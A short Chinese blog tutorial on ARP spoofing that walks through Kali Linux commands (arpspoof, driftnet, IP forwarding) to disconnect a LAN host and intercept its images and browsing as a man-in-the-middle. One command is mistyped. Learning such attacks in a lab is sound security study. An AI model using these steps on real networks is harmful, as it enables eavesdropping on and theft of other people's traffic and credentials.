地址解析协议ARP：ARP欺骗

Posted 2020-08-14

     地址解析协议ARP：ARP欺骗

   所谓ARP攻击，就是伪造IP和MAC地址进行的攻击或者欺骗，ARP攻击所产生的效果就是使目标主机（局域网）断网，甚至通过渗透可以窥探到对方的一些隐私，如一些登录账号和密码，对方在电脑上浏览哪些东西。

在Kalia-Linux虚拟机上打开指令面板，敲入指令：

此时，在Kali中使用arpspoof工具实现ARP攻击

arpspoof -i eth0 -t 172.28.15.6 172.28.15.254;

这样就能不断地欺骗（172.28.15.6）

这时172.28.15.6这台主机就不能上网了。

输入driftnet；

arpspoof -i eth0 -t 172.28.15.254 172.28.15.6;

通过172.28.15.254这个网关看到172.28.15.6的图片；

可以看到对方的电脑页面

输入以下指令：echo 1 >proc/sys/net/ipv4/ip_forward；

就可以让172.28.15.6这台主机就上网了。